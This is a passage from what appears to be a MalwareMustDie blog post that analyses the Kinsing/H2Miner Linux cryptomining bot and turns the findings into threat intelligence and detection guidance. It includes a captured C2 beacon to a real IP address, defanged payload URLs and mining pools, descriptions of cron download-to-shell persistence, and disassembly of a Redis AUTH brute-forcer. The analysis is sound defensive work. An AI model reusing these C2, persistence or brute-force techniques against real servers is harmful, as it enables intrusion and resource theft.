0x0073294b 00 invalid
0x0073294c 0000 add byte [rax], al
0x0073294e 0000 add byte [rax], al
;-- "Unexpected end of regex when ascii character.":
0x00732950 .string "Unexpected end of regex when ascii character." ; len=46
;-- "XMRIG_VERSION":
0x0073297e .string "XMRIG_VERSION" ; len=14
;-- "XMRIG_EXE_DIR":
0x0073298c .string "XMRIG_EXE_DIR" ; len=14
;-- "XMRIG_CWD":
0x0073299a .string "XMRIG_CWD" ; len=10
MD5 5b439ea84bc00eb74217461d1c64342d SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
- Embedded payloads leave fingerprints: the build path reveals the author handle ("nook"), and the build date matches the XMRig build string (Dec 29 2019). Cross-checking two independent timestamps is good practice.
- The base64 form of an ELF header (bytes
7f 45 4c 46) is worth learning to spot. Learn to recognize it, because it spots hidden ELF files inside scripts and binaries.
■ 11.8 al.sh: uninstalling cloud security agents (Aliyun aegis / quartz, qcloud YunJing)


- Seeing the same script in strace and in memory is double confirmation. When two independent sources agree, your finding is solid.
- Targeting Alibaba (aegis) and Tencent (YunJing) agents shows who the intended victims were: servers in Chinese cloud environments.
■ 11.9 "o": sending execution output to C2
write(6, "POST /o HTTP/1.1\r\n
Host: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 20\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\nMem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n\r\n
WzhP\313\f\337v\373\22\216\3276\24\263J\241)S\234", 421
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:37:25 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337w\371\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\3
0N\205x\332\233\225%\21\376?\207\256\23\254\355\276\272\256{\177\1\241!\24\343\256:\202\310
\230\234\207\340\300V\3\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\3
3\304\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\
234Y\30\212\354\342\3104\35", 4096) = 304
nWzhP313f337w37122216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?
20725623254355276272256{1771241!24343256:202310230234207340300V3364221P374344;k236K2138&365
235321ct204240317`Ca+S:2253330417Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35
276224234Y30212354342310435
- Regular small POSTs to the same host at a fixed interval are beaconing. Even without decrypting anything, timing analysis can reveal C2.
■ 11.10 "spre.sh": fetching the latest installer

- The decrypted task
download_and_execshows the C2 command format (Id, Type, Data). This is what the embedded RSA key gives you. - Each fetched script gets a new random name in the same work directory. Hunt by directory, not by file name.
《 13. The massscan() embedded script 》
The masscan() function does not scan by itself. It runs an embedded shell script that installs libpcap, fetches the scanner (saved as firewire and verified by MD5) and runs it with the parameters pushed by the C2.

- The bot outsources scanning to a well-known fast scanner and only passes the parameters (port, rate, input, output, download URL). Malware authors reuse tools just like we do.
- Unexpected package installs (
libpcap-dev) on a production server, plus heavy outbound SYN traffic, are a strong scanning signal.
《 14. Redis servers AUTH attacker 》
redisBrute() dials the target over TCP, sends AUTH <candidate> and checks the reply. If the reply contains OK, the hit is reported back to the C2 through addResult().
sym.go.main.redisBrute() (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h) 0x007a1a9d int64_t arg1 0x007a1aab call fcn.0045abb1 fcn.0045abb1 0x007a1aeb "tcp" 0x007a1b1a call sym.go.net.__Dialer_.DialContext 0x007a1b6f call sym.go.runtime.deferprocStack 0x007a1b95 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1bbc call sym.go.strings.genSplit 0x007a1c1f "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptErrorFo.." 0x007a1c3e "\n\r\t" 0x007a1c53 call sym.go.runtime.concatstring3 0x007a1c74 call sym.go.runtime.stringtoslicebyte 0x007a1cae call sym.go.time.Now 0x007a1cc2 call sym.go.time.Time.Add 0x007a1d2c call sym.go.runtime.makeslice 0x007a1db1 call sym.go.runtime.slicebytetostring 0x007a1dd6 "Client sent AUTH, but no password is setFailed to initialized s" 0x007a1deb call sym.go.strings.Index 0x007a1e12 "OK" // greo if the response brute success 0x007a1e27 call sym.go.strings.Index 0x007a1e4e call sym.go.runtime.deferreturn 0x007a1e98 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1ec4 call sym.go.runtime.concatstring3 0x007a1ee9 call sym.go.main.addResult 0x007a1eef call sym.go.runtime.deferreturn 0x007a1f05 call sym.go.runtime.deferreturn 0x007a1f1b call sym.go.runtime.deferreturn 0x007a1f48 call sym.go.runtime.newobject 0x007a1f87 // will response this error if not success 0x007a1f87 "SetReadDeadline failed:Split called after ScanTask %d, executed in %sTrinit\u00e9-et-Tobago (la)Unsupported command: %vVariant Also" 0x007a1f9c call sym.go.runtime.newobject 0x007a1fff call sym.go.github.com_op_go_logging.__Logger_.log 0x007a2005 call sym.go.runtime.deferreturn 0x007a2029 call sym.go.runtime.gcWriteBarrier 0x007a2034 call sym.go.runtime.deferreturn 0x007a204a call sym.go.runtime.deferreturn 0x007a2064 call sym.go.runtime.panicSliceAcap 0x007a206a call sym.go.runtime.morestack_noctxt 0x007a206f sym.go.main.redisBrute1
- Go strings are not NULL-terminated, so radare2 shows a long run of glued strings ("AUTH AcircAdlam..."). Only the first bytes (length 5:
AUTH) are used. Read the length argument, not the whole string.
[0x007a1a60]> 0x7a1bef # sym.go.main.redisBrute1 (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h); __1a60__[oa] [ 0x7a1bef ] f t ; CODE XREF from sym.go.main.redisBrute1 @ 0x7a1bdb │ │ mov qword [var_78h], rax │ └─.. mov qword [var_140h], rdx ┌─┘ mov rcx, qword [rax + 8] __1a7b__[od] mov qword [var_160h], rcx f t mov rbx, qword [rax] │ │ mov qword [var_a0h], rbx │ └────┐ lea rsi, [var_118h] ┌───────────┘ mov qword [rsp], rsi │ │ ; "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptError lea rsi, [0x0087f436] f t │ mov qword [var_1c0h], rsi │ │ │ mov qword [var_1b8h], 5 │ └─────┐ mov qword [var_1b0h], rbx ┌───────────────┘ mov qword [var_1a8h], rcx │ │ ; "\n\r\t" __1b7c__[oh] __2033__[oAm] lea rdi, [0x0087dfe0] f t : mov qword [var_1a0h], rdi │ │ mov qword [var_198h], 1 │ └─────┐ call sym.go.runtime.concatstring3;[ok] ┌───────────────┘ mov rax, qword [var_188h] │ │ mov rcx, qword [var_190h __1bd4__[o │ mov qword [rsp], 0 │ │ mov qword [var_1c0h], rcx │ │ mov qword [var_1b8h], rax │ │ call sym.go.runtime.stringtoslicebyte;[ol] (THE ATTACK FOR AUTH) <<============== HERE!! mov rax, qword [var_150h] f t │ mov rcx, qword [rax + 0x50] │ │ │ mov rdx, qword [var_1a8h] │ └─────────┐ mov rbx, qword [var_1b0h] ┌─────────────────┘ mov rsi, qword [var_1a0h] │ : │ mov rdi, qword [var_90h] __1d0f__[oq] __1f30__[oAe] mov qword [rsp], rdi : : mov qword [var_1c0h], rbx mov qword [var_1b8h], rdx :
concatstring3("AUTH ", password, "\n")builds the brute-force line. Following arguments into runtime calls like this is the key Go reversing skill.- Defense: never expose Redis to the internet, bind it to localhost or a private network, and use a strong
requirepassor ACLs.
《 15. What forensics alone cannot dissect 》
A plain signature scan on the binary is full of false positives (marked fp). This shows why static carving alone cannot dissect a Go-packed bot: you need to reverse the loader (pkger) logic and decode the embedded payloads yourself, as done above.
- open input file: kinsing - zip data to check: 32 bytes - zip windowBits: 15 - seek offset: 0x00000000 (0) DECIMAL HEXADECIMAL DESCRIPTION (many fp) -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 4256240 0x40F1F0 Certificate in DER format (x509 v3), header length: 4, sequence length: 13568 4684208 0x4779B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 2560 4809179 0x4961DB Base64 standard index table 4820858 0x498F7A Executable script, shebang: "/bin/sh" 4823632 0x499A50 StuffIt Deluxe Segment (data): ftHSY0rMGI9CLrl2ZvDLiahto= 4848165 0x49FA25 eCos RTOS string reference: "ecosidnshome-webserverdalucernecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouder" 4848195 0x49FA43 eCos RTOS string reference: "ecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouderacouponsarluroycq-acranbrookuw" 14148142 0xD7E22E VxWorks symbol table, big endian, first entry: [type: initialized data, code address: 0x800, symbol address: 0x100] 14259776 0xD99640 SHA256 hash constants, little endian 14259792 0xD99650 SHA256 hash constants, little endian 14663130 0xDFBDDA Cisco IOS microcode, for "" 16732624 0xFF51D0 GIF image data, version "87a", 18759 16732632 0xFF51D8 GIF image data, version "89a", 16765673 0xFFD2E9 Boot section Start 0x42424242 End 0x42424242 16765677 0xFFD2ED Boot section Start 0x42424242 End 0x0 16765681 0xFFD2F1 Boot section Start 0x0 End 0x0 16765685 0xFFD2F5 Boot section Start 0x0 End 0x0 +------------+-----+----------------------------+----------------------+ | hex_offset | ... | zip -> unzip size / offset | spaces before | info | +------------+-----+----------------------------+----------------------+ 0x00298945 9206 -> 9192 / 0x0029ad3b _ 2722117 8:4:9:0:1:7affffff // fp 0x00d5dc58 65292 -> 65280 / 0x00d6db64 _ 11284253 8:7:1:0:1:19040000 // fp 0x00d78eb8 65292 -> 65280 / 0x00d88dc4 _ 45908 8:7:1:0:1:00308100 // fp
- Automated carving tools are good starting points, but do not trust every hit. "Cisco IOS microcode" inside a Linux bot is clearly a false positive. Validate each result.
《 16. Open-source Go libraries used by kinsing 》
These open-source Go libraries were identified from the symbols and strings in .rodata / .gopclntab. Knowing them saves a lot of reversing time, because you can skip the library code and focus on main.*.
.rodata:00000000007C4953 0000001B C github.com/hashicorp/yamux.rodata:00000000007C4973 0000001B C github.com/markbates/pkger.rodata:00000000007C84E2 00000023 C !github.com/asaskevich/govalidator.rodata:00000000007C9B42 00000025 C $github.com/kelseyhightower/envconfig.gopclntab:000000000122DFD0 00000033 C github.com/paulbellamy/ratecounter.gopclntab:00000000013703A0 00000037 C github.com/armon/go-socks5.gopclntab:00000000013A5B9C 00000028 C github.com/op/go-logging.AddModuleLevel"gopclntab":00000000013EDDB8 00000058 C /go/pkg/mod/github.com/kardianos/osext.rodata:00000000007C2173 00000018 C github.com/google/btree.rodata:00000000007C4993 0000001B C github.com/nu7hatch/gouuid- Identify libraries first and exclude them. In a 16 MB Go binary, maybe 1–2% is the author's own code.
- The library choice tells you the design: yamux plus go-socks5 means tunneling and proxying, resty means a REST-style C2, and pkger means embedded payloads.
《 17. CTI: Threat model 》
Part II turns the malware analysis above into threat intelligence: who is attacking, what they want, how the attack flows from start to finish, which weaknesses they abuse and what defenders should do with the indicators. Every point is tied back to evidence in Part I.
First, the threat model. It answers what is at risk, from whom, through which doors, and with what impact.
| Element | Assessment for this case |
|---|---|
| Assets at risk | Internet-facing Linux servers and cloud VMs (x86-64), especially hosts running Redis; every server reachable with the SSH keys stored on an infected host; Docker hosts (the bot kills and removes containers and images). |
| Adversary | A financially motivated cryptojacking crew (recorded in this analysis as SystemTen; bot coder "nook"). Automated, botnet-scale operation. |
| Motivation | Monetization through Monero mining (wallet and pools); secondary: keeping a foothold (on-demand backdoor, SOCKS) that can be reused or sold. |
| Capability | Medium. Uses public tools (XMRig, a public mass-scanner, open-source Go libraries), but integrates them well: encrypted tasking, self-update, worm-like spreading and anti-competitor logic. |
| Entry points | Weak or no Redis AUTH (redisBrute); trusted SSH keys from already infected hosts (spreader); scripts hosted on paste and code sites (Pastebin, a public code-hosting site). For the family in general, see targeted vulnerabilities. |
| Impact | CPU/power theft and cloud cost; security controls destroyed (syslog, firewall, SELinux/AppArmor, cloud agents); persistent remote access; host data can be sent to the C2; lateral spread to every trusted server. |
| Likelihood | High for exposed and unhardened Linux fleets. The family kept running new campaigns for years after this case (Tenable 2024, F6 2025). |
- A threat model keeps intelligence focused on defense decisions: once you know the assets, entry points and impact, you know what to patch, harden and monitor first.
- Separate what this case proves (Part I evidence) from what is known about the family in general (public reporting). Both are useful, but they carry different confidence.
《 18. CTI: Actors and attribution 》
Attribution in CTI is about clustering activity with stated confidence, not about naming people. Below is what this analysis recorded, compared with how the industry names the same activity.
| Item | Value | Evidence | Confidence |
|---|---|---|---|
| Malware family | Linux/Kinsing (Go ELF bot) + XMRig 5.5.0 miner | binary, embedded miner | High |
| Coder handle | "nook" | build path /home/nook/go/src/my/bot in the pkger index | High |
| Operator (as recorded) | SystemTen | original analysis notes (threat information) | Medium |
| Origin (as recorded) | PRC/China | original analysis notes; supported by targeting Alibaba Cloud and Tencent Cloud agents (al.sh) | Medium |
| Industry names | Kinsing / H2Miner; Money Libra (Palo Alto Networks); Resourceful Wolf (F6) | The Hacker News, SecurityWeek, F6 | High |
| Clustering pivots | wallet 42J8CF9s..., pkger build path, C2 URL scheme (/h /get /o /s), header set, kdevtmpfsi name | Part I | High |
Public reporting confirms that the same malware/actor name (Kinsing, aka H2Miner) was first documented in January 2020 and kept adding new exploits for years (The Hacker News). Researchers have also linked separate campaigns together through a shared Monero wallet (Red Canary), the same kind of pivot shown in this post.
- Always attach a confidence level and the evidence to each attribution claim. "nook" is high confidence because it is in the binary; an origin claim based on targeting is medium.
- Map your own names to the industry names (Kinsing = H2Miner = Money Libra = Resourceful Wolf). That lets your SOC reuse other vendors' reports and detections.
《 19. CTI: Kill chain of the attack scheme 》
The Lockheed Martin Cyber Kill Chain gives a step-by-step view of the whole attack scheme. The important lesson in this case is the loop: phase 7 (spreading) feeds phases 1–4 on new victims, so one infection becomes many.
[1] RECONNAISSANCE masscan wrapper scans ports given by C2; Redis targets listed [2] WEAPONIZATION Go bot + pkger-embedded XMRig + base64/zlib scripts [3] DELIVERY Pastebin script / spr.sh / bitbucket raw / 217.12.221.244 [4] EXPLOITATION weak Redis AUTH brute; reuse of trusted SSH keys [5] INSTALLATION /tmp/.ICEd-unix, kdevtmpfsi, every-minute cron, lock file [6] COMMAND & CONTROL HTTP :80, RSA tasking, /h /get /o /s, backconn, socks [7] ACTIONS ON OBJ. mine Monero; kill rivals & security agents; spread ^ | +---- WORM LOOP: each new victim becomes a scanner/brute-forcer ---+
| Phase | This case | Where to break the chain |
|---|---|---|
| 1 Recon | masscan wrapper, port/rate/target list from C2 | egress filtering; alert on heavy outbound SYN |
| 2 Weaponization | Go bot, embedded miner and scripts | (attacker side) — use the RE results to build signatures |
| 3 Delivery | downloads of spr.sh, cron.sh, al.sh, kinsing | block download-and-run from servers; proxy server egress |
| 4 Exploitation | Redis AUTH brute; SSH key reuse | Redis not exposed and strong auth; no passphrase-less keys |
| 5 Installation | hidden dir, look-alike names, cron, lock file | FIM on /tmp, /var/tmp, crontabs; noexec /tmp |
| 6 C2 | HTTP :80, odd UA, custom headers | IDS on headers and UA; block C2s; beacon detection |
| 7 Actions | mining, killing defenses, spreading | alert on agent or syslog stop; CPU baselines; SSH fan-out alerts |
- Defenders only need to break one link, but in a worm the earliest links (exploitation and installation) give the most value, because they also stop the spread.
- For a finer model you can also use the Unified Kill Chain. The Lockheed model is enough to teach the flow.
《 20. CTI: TTP — MITRE ATT&CK matrix 》
This is the TTP view of the case as a MITRE ATT&CK (Enterprise, Linux) matrix. Each cell is backed by evidence shown in Part I. This is my mapping for study; check it against the current ATT&CK version when you reuse it.
execIn total there are 23 techniques across 9 tactic groups. Notice that Defense Evasion is the largest column: this bot spends more effort on blinding the defender than on anything else.
- ATT&CK mapping turns a malware report into something a SOC can act on: each cell is a detection or hardening question ("would we see T1053.003 on our servers?").
- Map from evidence, not from guesses. If you cannot point to the data, leave the technique out.
- Load the IDs into the ATT&CK Navigator to make a layer you can compare with other campaigns.
《 21. CTI: Targeted vulnerabilities and weaknesses 》
This case did not need a CVE: it abused weak configuration and trust. The kinsing family as a whole, however, is well known for quickly adding new exploits. Both lists matter for defenders.
■ Weaknesses abused in this case (evidence: Part I)
| Weakness | How it is abused | Evidence |
|---|---|---|
| Redis without AUTH or with a weak password | AUTH <guess> brute and an OK check | redisBrute |
| Passphrase-less SSH private keys and broad trust | keys plus hosts harvested, then ssh with BatchMode | spreader script |
| Security agents removable by root | aegis, quartz and YunJing uninstalled; SELinux and AppArmor off | spr.sh / al.sh |
| Writable and executable /tmp and /var/tmp | payloads dropped and run from temp dirs | /tmp/.ICEd-unix |
| Unrestricted server egress | downloads and C2 over :80, mining over :80 | network |
■ Vulnerabilities exploited by the family in later or other campaigns (public reporting)
| CVE / weakness | Product | Type | Reported by |
|---|---|---|---|
| Exposed Docker Engine API | Docker | misconfiguration → container run | Red Canary |
| Unauthenticated Redis | Redis | misconfiguration → RCE | Red Canary, CounterCraft |
| CVE-2020-11651 / CVE-2020-11652 | SaltStack Salt | auth bypass / RCE | Intezer, Red Canary |
| CVE-2019-19781 | Citrix ADC / Gateway | RCE | Red Canary, CounterCraft |
| CVE-2017-9841 | PHPUnit | RCE | Aqua Nautilus |
| CVE-2023-4911 (Looney Tunables) | glibc ld.so | local privilege escalation | Aqua Nautilus |
| CVE-2023-46604 | Apache ActiveMQ | RCE (deserialization) | Trend Micro |
| CVE-2023-32315 | Openfire | path traversal → RCE | SecurityWeek |
| CVE-2021-44228 (Log4Shell), Confluence RCE | Log4j, Atlassian Confluence | RCE | BleepingComputer |
| CVE-2017-11610, CVE-2018-20062, CVE-2019-0193, CVE-2019-3396, CVE-2020-25213, CVE-2021-26084, CVE-2021-41773 | Supervisor, ThinkPHP, Solr, Confluence, WP File Manager, Confluence, Apache httpd | RCE / path traversal | CounterCraft |
Other reporting also lists targets such as Apache NiFi, Apache Tomcat, Liferay Portal and Oracle WebLogic (The Hacker News). Only sources I could cross-check are listed here; please verify each CVE against your own vulnerability feed before using it for prioritization.
- For a cryptojacking crew the business model is speed and volume: it scans the internet for any known RCE or misconfiguration. Patch latency on internet-facing services is the real risk.
- Use this list for prioritization: if you run any of these products exposed to the internet, check them first (CISA KEV is a good companion list).
《 22. CTI: IOC triage (enriched) 》
IOC triage means deciding, for each indicator, how reliable it is, whether it is still alive, and what action fits it. Blindly blocking everything causes outages; triage prevents that. The network indicators below are defanged (hxxp, [.]) and enriched with ASN and country from the infrastructure chapter. Sharing level: TLP:CLEAR.
| Indicator | Type | Role | Source | Confidence | Status | Triage / recommended action |
|---|---|---|---|---|---|---|
6bffa50350be7234071814181277ae79 | MD5 | kinsing bot | binary info | High | static | EDR/AV hunt; VirusTotal pivot |
2cb455f23b352e27b1f2f60abd61b444d15fafb0 | SHA-1 | kinsing bot | binary info | High | static | same as above |
a71ad3167f9402d8c5388910862b16ae | MD5 | kinsing version expected by spr.sh | spr.sh | Medium | static | hunt; the sample itself is not verified in this post |
5b439ea84bc00eb74217461d1c64342d | MD5 | kdevtmpfsi miner (XMRig 5.5.0) | embedded miner | High | static | EDR/AV hunt |
fece7b18f2b763690b617f8649d4f9c8c93f6dc6 | SHA-1 | kdevtmpfsi miner | embedded miner | High | static | same as above |
45a7ef83238f5244738bb5e7e3dd6299 | MD5 | "firewire" scanner expected by masscan() | masscan | Medium | static | hunt; a public tool, so expect hits from benign use too |
45.10.88[.]102 | IPv4 | C2 (HTTP :80) | AS48693 NTSERVICE-AS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
91.215.169[.]111 | IPv4 | C2 (HTTP :80) | AS49693 BEST-HOSTER (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
139.99.50[.]255 | IPv4 | C2 (HTTP :80) | AS16276 OVH (FR) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
46.243.253[.]167 | IPv4 | C2 (HTTP :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195.123.220[.]193 | IPv4 | C2 (HTTP :80) | AS21100 ITLDC-NL (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
217.12.221[.]244 | IPv4 | script / payload download | AS15626 ITLAS (UA) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
195.3.146[.]118 | IPv4 | script / payload download | AS41390 RN-DATA- (LV) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
45.89.230[.]240 | IPv4 | mining pool (stratum :80) | AS51659 ASBAXET (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
178.170.189[.]5 | IPv4 | mining pool (stratum :80) | AS58272 LEADERTELECOMBV-AS (NL) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
92.63.99[.]17 | IPv4 | mining pool (stratum :80) | AS29182 THEFIRST-AS (RU) | High | inactive (author-verified, 2026) | retro-hunt in proxy/NetFlow logs; block the /32 only (hosting space is shared) |
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing | URL | payload mirror | spr.sh | High | likely removed | block the exact URL only, never the whole site (legitimate service) |
hxxps://pastebin[.]com/f4fYBPLe | URL | Patient-0 script | scheme | High | likely removed | block the exact URL; hunt for paste-site downloads from servers |
icanhazip.com | domain | public IP lookup used by the spreader | spreader | Low | legitimate | do not block; use as a hunting signal from servers |
42J8CF9s...S5Kdqh2 | XMR wallet | operator's wallet | miner ID | High | – | clustering / attribution pivot |
Chrome/78.0.3904.108 UA + Arch/Cores/Uuid/Version headers | network | C2 traffic fingerprint | protocol | High | family-wide | IDS/proxy rule (low FP from Linux servers) |
/tmp/.ICEd-unix/, /var/lock/linux.lock, kdevtmpfsi | host | work dir, lock file, miner | 11.1 | High | family-wide | FIM / EDR / osquery hunt |
| every-minute cron entry fetching a script and piping it to a shell | host | persistence | 11.5 | High | family-wide | crontab audit on every host |
■ Copy-friendly IOC list (defanged)
# kinsing bot (Go ELF x86-64)
MD5 6bffa50350be7234071814181277ae79
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
# kinsing MD5 expected by spr.sh
MD5 a71ad3167f9402d8c5388910862b16ae
# embedded miner kdevtmpfsi (XMRig 5.5.0)
MD5 5b439ea84bc00eb74217461d1c64342d
SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
# scanner "firewire" MD5 expected by massscan script
MD5 45a7ef83238f5244738bb5e7e3dd6299
# C2 (tcp/80)
45.10.88[.]102
91.215.169[.]111
139.99.50[.]255
46.243.253[.]167
195.123.220[.]193
# script / payload download
217.12.221[.]244
195.3.146[.]118
# miner pools
stratum+tcp[:]//45.89.230[.]240:80
stratum+tcp[:]//178.170.189[.]5:80
stratum+tcp[:]//92.63.99[.]17:80
# URLs
hxxp://217.12.221[.]244/spr.sh
hxxp://217.12.221[.]244/spre.sh
hxxp://217.12.221[.]244/al.sh
hxxp://217.12.221[.]244/cron.sh
hxxp://217.12.221[.]244/kinsing
hxxp://195.3.146[.]118/spr.sh
hxxp://195.3.146[.]118/unk.sh
hxxps://bitbucket[.]org/kimrakfl33/git/raw/master/kinsing
hxxps://pastebin[.]com/f4fYBPLe
# host artifacts
/var/lock/linux.lock (/run/lock/linux.lock)
/tmp/.ICEd-unix/ /tmp/.ICEd-unix/uuid /tmp/.ICEd-unix/[A-Za-z]{5}
/tmp/kdevtmpfsi
/tmp/kinsing /var/tmp/kinsing
crontab: every-minute entry fetching spr.sh from 195.3.146[.]118 (piped to a shell)
crontab: every-minute entry fetching unk.sh from 195.3.146[.]118 (piped to a shell)
# network artifacts
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904[.]108 Safari/537.36
HTTP headers: Arch: / Cores: / Mem: / Os: / Osname: / Osversion: / Root: / Uuid: / Version: 28
paths: /s /h /get /hers /mg /o /spre.sh /al.sh /cron.sh /kinsing
# miner wallet
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
- Rank indicators with the Pyramid of Pain: hashes and IPs are easy for the attacker to change; host artifacts, header fingerprints and TTPs are painful to change, so they make better long-term detections.
- Never block a legitimate service (paste sites, code hosting, IP-lookup sites) as a whole; block exact URLs and use the rest for hunting.
- Record the status and date of every IOC. This infrastructure is dead now, so its value is retro-hunting in old logs, not live blocking.
《 23. Detection and mitigation checklist 》
A short checklist to find and stop this kind of infection, based only on what this analysis shows.
- Processes: unknown Go binaries under
/tmpor/var/tmp;kdevtmpfsiusing high CPU; akinsingchild of init. - Files:
/tmp/.ICEd-unix/,/var/lock/linux.lock,/tmp/kdevtmpfsi,/tmp/kinsing, and deleted-but-open files under/proc/*/fd. - Persistence: cron lines that download a script every minute and pipe it to a shell, for every user.
- Network: HTTP with the Chrome 78 Windows User-Agent from a Linux server, the custom
Arch/Cores/Uuid/Versionheaders, paths/s /h /get /o, stratum traffic on :80, and new high listening ports. - Hardening: Redis not exposed and protected by a password or ACL, no passphrase-less SSH keys on servers, a Docker API never open to the internet, and an alert when a security agent or syslog stops.
- Response: dump the process memory and recover the deleted files first, then remove the cron entries, the binaries and the work directory, then rotate every SSH key the host had.
- Killing the miner process alone is not cleanup. The cron job brings it back within a minute, and the stolen SSH keys keep the door open to your other servers.
《 24. Epilogue 》
To wrap up: kinsing is not just a miner dropper. It is a full Go-written bot with encrypted C2 tasking, a remote shell, a SOCKS proxy, an on-demand backdoor, a self-updater, SSH-key based lateral movement, mass-scanning, Redis AUTH brute-forcing, and an aggressive killer of competing miners and of cloud security agents. One weak Redis or one leaked key is enough to start the chain, and the worm stage does the rest.
If you are a student, try to reproduce the reversing of a Go ELF yourself with radare2 in a safe, isolated environment and compare your results with these notes. If you are a defender, take the detection checklist and check your Linux fleet.
@unixfreaxjp, malwaremustdie.org